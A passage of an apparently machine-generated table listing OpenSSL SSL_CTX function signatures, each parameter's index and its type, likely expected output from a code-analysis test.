| SSL_CTX_set_tlsext_ticket_key_evp_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_tmp_dh_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_tmp_dh_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_cb | 2 | void * | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_verify_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_verify_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_verify_callback | 2 | void * | +| (SSL_CTX *,CTLOG_STORE *) | | SSL_CTX_set0_ctlog_store | 0 | SSL_CTX * | +| (SSL_CTX *,CTLOG_STORE *) | | SSL_CTX_set0_ctlog_store | 1 | CTLOG_STORE * | +| (SSL_CTX *,ENGINE *) | | SSL_CTX_set_client_cert_engine | 0 | SSL_CTX * | +| (SSL_CTX *,ENGINE *) | | SSL_CTX_set_client_cert_engine | 1 | ENGINE * | +| (SSL_CTX *,EVP_PKEY *) | | SSL_CTX_set0_tmp_dh_pkey | 0 | SSL_CTX * | +| (SSL_CTX *,EVP_PKEY *) | | SSL_CTX_set0_tmp_dh_pkey | 1 | EVP_PKEY * | +| (SSL_CTX *,GEN_SESSION_CB) | | SSL_CTX_set_generate_session_id | 0 | SSL_CTX * | +| (SSL_CTX *,GEN_SESSION_CB) | | SSL_CTX_set_generate_session_id | 1 | GEN_SESSION_CB | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 0 | SSL_CTX * | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 1 | SRP_ARG * | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 2 | int | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 3 | int | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 4 | int | +| (SSL_CTX *,SSL *,const SSL_METHOD *) | | ossl_ssl_connection_new_int | 0 | SSL_CTX * | +| (SSL_CTX *,SSL *,const SSL_METHOD *) | | ossl_ssl_connection_new_int | 1 | SSL * | +| (SSL_CTX *,SSL *,const SSL_METHOD *) | | ossl_ssl_connection_new_int | 2 | const SSL_METHOD * | +| (SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *) | | SSL_CTX_set_alpn_select_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *) | | SSL_CTX_set_alpn_select_cb | 1 | SSL_CTX_alpn_select_cb_func | +| (SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *) | | SSL_CTX_set_alpn_select_cb | 2 | void * | +| (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 1 | SSL_CTX_generate_session_ticket_fn | +| (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 2 | SSL_CTX_decrypt_session_ticket_fn | +| (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 3 | void * | +| (SSL_CTX *,SSL_CTX_keylog_cb_func) | | SSL_CTX_set_keylog_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_keylog_cb_func) | | SSL_CTX_set_keylog_callback | 1 | SSL_CTX_keylog_cb_func | +| (SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *) | | SSL_CTX_set_next_protos_advertised_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *) | | SSL_CTX_set_next_protos_advertised_cb | 1 | SSL_CTX_npn_advertised_cb_func | +| (SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *) | | SSL_CTX_set_next_protos_advertised_cb | 2 | void * | +| (SSL_CTX *,SSL_CTX_npn_select_cb_func,void *) | | SSL_CTX_set_next_proto_select_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_npn_select_cb_func,void *) | | SSL_CTX_set_next_proto_select_cb | 1 | SSL_CTX_npn_select_cb_func | +| (SSL_CTX *,SSL_CTX_npn_select_cb_func,void *) | | SSL_CTX_set_next_proto_select_cb | 2 | void * | +| (SSL_CTX *,SSL_EXCERT *) | | ssl_ctx_set_excert | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_EXCERT *) | | ssl_ctx_set_excert | 1 | SSL_EXCERT * | +| (SSL_CTX *,SSL_SESSION *) | | SSL_CTX_add_session | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_SESSION *) | | SSL_CTX_add_session | 1 | SSL_SESSION * | +| (SSL_CTX *,SSL_allow_early_data_cb_fn,void *) | | SSL_CTX_set_allow_early_data_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_allow_early_data_cb_fn,void *) | | SSL_CTX_set_allow_early_data_cb | 1 | SSL_allow_early_data_cb_fn | +| (SSL_CTX *,SSL_allow_early_data_cb_fn,void *) | | SSL_CTX_set_allow_early_data_cb | 2 | void * | +| (SSL_CTX *,SSL_async_callback_fn) | | SSL_CTX_set_async_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_async_callback_fn) | | SSL_CTX_set_async_callback | 1 | SSL_async_callback_fn | +| (SSL_CTX *,SSL_client_hello_cb_fn,void *) | | SSL_CTX_set_client_hello_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_client_hello_cb_fn,void *) | | SSL_CTX_set_client_hello_cb | 1 | SSL_client_hello_cb_fn | +| (SSL_CTX *,SSL_client_hello_cb_fn,void *) | | SSL_CTX_set_client_hello_cb | 2 | void * | +| (SSL_CTX *,SSL_new_pending_conn_cb_fn,void *) | | SSL_CTX_set_new_pending_conn_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_new_pending_conn_cb_fn,void *) | | SSL_CTX_set_new_pending_conn_cb | 1 | SSL_new_pending_conn_cb_fn | +| (SSL_CTX *,SSL_new_pending_conn_cb_fn,void *) | | SSL_CTX_set_new_pending_conn_cb | 2 | void * | +| (SSL_CTX *,SSL_psk_client_cb_func) | | SSL_CTX_set_psk_client_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_psk_client_cb_func) | | SSL_CTX_set_psk_client_callback | 1 | SSL_psk_client_cb_func | +| (SSL_CTX *,SSL_psk_find_session_cb_func) | | SSL_CTX_set_psk_find_session_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_psk_find_session_cb_func) | | SSL_CTX_set_psk_find_session_callback | 1 | SSL_psk_find_session_cb_func | +| (SSL_CTX *,SSL_psk_server_cb_func) | | SSL_CTX_set_psk_server_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_psk_server_cb_func) | | SSL_CTX_set_psk_server_callback | 1 | SSL_psk_server_cb_func | +| (SSL_CTX *,SSL_psk_use_session_cb_func) | | SSL_CTX_set_psk_use_session_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_psk_use_session_cb_func) | | SSL_CTX_set_psk_use_session_callback | 1 | SSL_psk_use_session_cb_func | +| (SSL_CTX *,X509 *) | | SSL_CTX_use_certificate | 0 | SSL_CTX * | +| (SSL_CTX *,X509 *) | | SSL_CTX_use_certificate | 1 | X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 0 | SSL_CTX * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 1 | X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 2 | EVP_PKEY * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 3 | stack_st_X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 4 | int | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 0 | SSL_CTX * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 1 | X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 2 | EVP_PKEY * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 3 | stack_st_X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 4 | int | +| (SSL_CTX *,X509_STORE *) | | SSL_CTX_set1_cert_store | 0 | SSL_CTX * | +| (SSL_CTX *,X509_STORE *) | | SSL_CTX_set1_cert_store | 1 | X509_STORE * | +| (SSL_CTX *,X509_STORE *) | | SSL_CTX_set_cert_store | 0 | SSL_CTX * | +| (SSL_CTX *,X509_STORE *) | | SSL_CTX_set_cert_store | 1 | X509_STORE * | +| (SSL_CTX *,X509_VERIFY_PARAM *) | | SSL_CTX_set1_param | 0 | SSL_CTX * | +| (SSL_CTX *,X509_VERIFY_PARAM *) | | SSL_CTX_set1_param | 1 | X509_VERIFY_PARAM * | +| (SSL_CTX *,char *) | | SSL_CTX_set_srp_password | 0 | SSL_CTX * | +| (SSL_CTX *,char *) | | SSL_CTX_set_srp_password | 1 | char * | +| (SSL_CTX *,char *) | | SSL_CTX_set_srp_username | 0 | SSL_CTX * | +| (SSL_CTX *,char *) | | SSL_CTX_set_srp_username | 1 | char * | +| (SSL_CTX *,char *,char *) | | set_cert_stuff | 0 | SSL_CTX * | +| (SSL_CTX *,char *,char *) | | set_cert_stuff | 1 | char * | +| (SSL_CTX *,char *,char *) | | set_cert_stuff | 2 | char * | +| (SSL_CTX *,const EVP_MD *,uint8_t,uint8_t) | | SSL_CTX_dane_mtype_set | 0 | SSL_CTX * | +| (SSL_CTX *,const EVP_MD *,uint8_t,uint8_t) | | SSL_CTX_dane_mtype_set | 1 | const EVP_MD * | +| (SSL_CTX *,const EVP_MD *,uint8_t,uint8_t) | | SSL_CTX_dane_mtype_set | 2 | uint8_t | +| (SSL_CTX *,const EVP_MD *,uint8_t,uint8_t) | | SSL_CTX_dane_mtype_set | 3 | uint8_t | +| (SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **) | | tls1_lookup_md | 0 | SSL_CTX * | +| (SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **) | | tls1_lookup_md | 1 | const SIGALG_LOOKUP * | +| (SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **) | | tls1_lookup_md | 2 | const EVP_MD ** | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **) | | ssl_cipher_get_evp_cipher | 0 | SSL_CTX * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **) | | ssl_cipher_get_evp_cipher | 1 | const SSL_CIPHER * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **) | | ssl_cipher_get_evp_cipher | 2 | const EVP_CIPHER ** | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 0 | SSL_CTX * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 1 | const SSL_CIPHER * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 2 | const EVP_MD ** | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 3 | int * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 4 | size_t * | +| (SSL_CTX *,const SSL_METHOD *) | | SSL_CTX_set_ssl_version | 0 | SSL_CTX * | +| (SSL_CTX *,const SSL_METHOD *) | | SSL_CTX_set_ssl_version | 1 | const SSL_METHOD * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 0 | SSL_CTX * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 1 | const SSL_SESSION * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 2 | const EVP_CIPHER ** | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 3 | const EVP_MD ** | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 4 | int * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 5 | size_t * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 6 | SSL_COMP ** | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 7 | int | +| (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 0 | SSL_CTX * | +| (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | const char * | +| (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 0 | SSL_CTX * | +| (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | const char * | +| (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 0 | SSL_CTX * | +| (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | const char * | +| (SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_RSAPrivateKey_ASN1 | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_RSAPrivateKey_ASN1 | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_RSAPrivateKey_ASN1 | 2 | long | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | size_t | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | size_t | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_alpn_protos | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_alpn_protos | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_alpn_protos | 2 | unsigned int | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_session_id_context | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_session_id_context | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_session_id_context | 2 | unsigned int | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 0 | SSL_CTX * | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 1 | custom_ext_methods * | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 2 | ENDPOINT | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 3 | unsigned int | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 4 | unsigned int | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 5 | SSL_custom_ext_add_cb_ex | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 6 | SSL_custom_ext_free_cb_ex | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 7 | void * | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 8 | SSL_custom_ext_parse_cb_ex | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 9 | void * | +| (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_purpose | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_security_level | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_trust | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | int | +| (SSL_CTX *,int) | | ssl_md | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | ssl_md | 1 | int | +| (SSL_CTX *,int,..(*)(..)) | | SSL_CTX_callback_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,..(*)(..)) | | SSL_CTX_callback_ctrl | 1 | int | +| (SSL_CTX *,int,..(*)(..)) | | SSL_CTX_callback_ctrl | 2 | ..(*)(..) | +| (SSL_CTX *,int,..(*)(..)) | | ossl_quic_ctx_callback_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,..(*)(..)) | | ossl_quic_ctx_callback_ctrl | 1 | int | +| (SSL_CTX *,int,..(*)(..)) | | ossl_quic_ctx_callback_ctrl | 2 | ..(*)(..) | +| (SSL_CTX *,int,..(*)(..)) | | ssl3_ctx_callback_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,..(*)(..)) | | ssl3_ctx_callback_ctrl | 1 | int | +| (SSL_CTX *,int,..(*)(..)) | | ssl3_ctx_callback_ctrl | 2 | ..(*)(..) | +| (SSL_CTX *,int,..(*)(..),SSL_verify_cb) | | SSL_CTX_set_verify | 0 | SSL_CTX * | +| (SSL_CTX *,int,..(*)(..),SSL_verify_cb) | | SSL_CTX_set_verify | 1 | int | +| (SSL_CTX *,int,..(*)(..),SSL_verify_cb) | | SSL_CTX_set_verify | 2 | ..(*)(..) | +| (SSL_CTX *,int,..(*)(..),SSL_verify_cb) | | SSL_CTX_set_verify | 3 | SSL_verify_cb | +| (SSL_CTX *,int,const unsigned char *) | | SSL_CTX_use_certificate_ASN1 | 0 | SSL_CTX * | +| (SSL_CTX *,int,const unsigned char *) | | SSL_CTX_use_certificate_ASN1 | 1 | int | +| (SSL_CTX *,int,const unsigned char *) | | SSL_CTX_use_certificate_ASN1 | 2 | const unsigned char * | +| (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 1 | int | +| (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 2 | long | +| (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 3 | void * | +| (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 1 | int | +| (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 2 | long | +| (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 3 | void * | +| (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 1 | int | +| (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 2 | long | +| (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 3 | void * | +| (SSL_CTX *,long) | | SSL_CTX_set_timeout | 0 | SSL_CTX * | +| (SSL_CTX *,long) | | SSL_CTX_set_timeout | 1 | long | +| (SSL_CTX *,pem_password_cb *) | | SSL_CTX_set_default_passwd_cb | 0 | SSL_CTX * | +| (SSL_CTX *,pem_password_cb *) | | SSL_CTX_set_default_passwd_cb | 1 | pem_password_cb * | +| (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 0 | SSL_CTX * | +| (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 1 | size_t | +| (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 0 | SSL_CTX * | +| (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 1 | size_t | +| (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 0 | SSL_CTX * | +| (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 1 | size_t | +| (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 0 | SSL_CTX * | +| (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 1 | size_t | +| (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | size_t | +| (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 0 | SSL_CTX * | +| (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 1 | srpsrvparm * | +| (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 2 | char * | +| (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 3 | char * | +| (SSL_CTX *,ssl_ct_validation_cb,void *) | | SSL_CTX_set_ct_validation_callback | 0 | SSL_CTX * | +| (SSL_CTX *,ssl_ct_validation_cb,void *) | | SSL_CTX_set_ct_validation_callback | 1 | ssl_ct_validation_cb | +| (SSL_CTX *,ssl_ct_validation_cb,void *) | | SSL_CTX_set_ct_validation_callback | 2 | void * | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 0 | SSL_CTX * | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 1 | stack_st_SSL_CIPHER * | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 2 | stack_st_SSL_CIPHER ** | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 3 | stack_st_SSL_CIPHER ** | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 4 | const char * | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 5 | CERT * | +| (SSL_CTX *,stack_st_X509_NAME *) | | SSL_CTX_set0_CA_list | 0 | SSL_CTX * | +| (SSL_CTX *,stack_st_X509_NAME *) | | SSL_CTX_set0_CA_list | 1 | stack_st_X509_NAME * | +| (SSL_CTX *,stack_st_X509_NAME *) | | SSL_CTX_set_client_CA_list | 0 | SSL_CTX * | +| (SSL_CTX *,stack_st_X509_NAME *) | | SSL_CTX_set_client_CA_list | 1 | stack_st_X509_NAME * | +| (SSL_CTX *,uint8_t) | | SSL_CTX_set_tlsext_max_fragment_length | 0 | SSL_CTX * | +| (SSL_CTX *,uint8_t) | | SSL_CTX_set_tlsext_max_fragment_length | 1 | uint8_t | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 0 | SSL_CTX * | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 1 | uint16_t ** | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 2 | size_t * | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 3 | uint16_t ** | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 4 | size_t * | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 5 | size_t ** | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 6 | size_t * | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 7 | const char * | +| (SSL_CTX *,uint16_t) | | tls1_group_id2name | 0 | SSL_CTX * | +| (SSL_CTX *,uint16_t) | | tls1_group_id2name | 1 | uint16_t | +| (SSL_CTX *,uint16_t) | | tls1_group_id_lookup | 0 | SSL_CTX * | +| (SSL_CTX *,uint16_t) | | tls1_group_id_lookup | 1 | uint16_t | +| (SSL_CTX *,uint32_t) | | SSL_CTX_set_max_early_data | 0 | SSL_CTX * | +| (SSL_CTX *,uint32_t) | | SSL_CTX_set_max_early_data | 1 | uint32_t | +| (SSL_CTX *,uint32_t) | | SSL_CTX_set_recv_max_early_data | 0 | SSL_CTX * | +| (SSL_CTX *,uint32_t) | | SSL_CTX_set_recv_max_early_data | 1 | uint32_t | +| (SSL_CTX *,uint64_t) | | SSL_CTX_clear_options | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_CTX_clear_options | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | SSL_CTX_set_domain_flags | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_CTX_set_domain_flags | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | SSL_CTX_set_options | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_CTX_set_options | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | SSL_new_domain | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_new_domain | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | SSL_new_listener | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_new_listener | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | ossl_quic_new_domain | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | 